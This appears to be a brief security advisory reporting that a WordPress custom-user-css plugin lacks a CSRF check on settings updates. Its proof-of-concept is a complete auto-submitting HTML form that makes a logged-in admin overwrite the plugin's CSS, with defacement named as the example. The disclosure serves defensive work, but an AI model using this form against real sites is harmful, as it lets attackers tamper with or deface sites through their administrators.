Description The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack.
Create an HTML form with the following content and make a logged in admin open it
<form action="https://example.com/wp-admin/themes.php?page=custom-user-css/custom_user_css.php" method="POST">
<input type="text" name="custom_user_css_css" value="overwritten css, for example for defacement">
<input type="text" name="action" value="update">
<input type="text" name="page_options" value="custom_user_css_css">
</form>
<script>
document.forms[0].submit();
</script>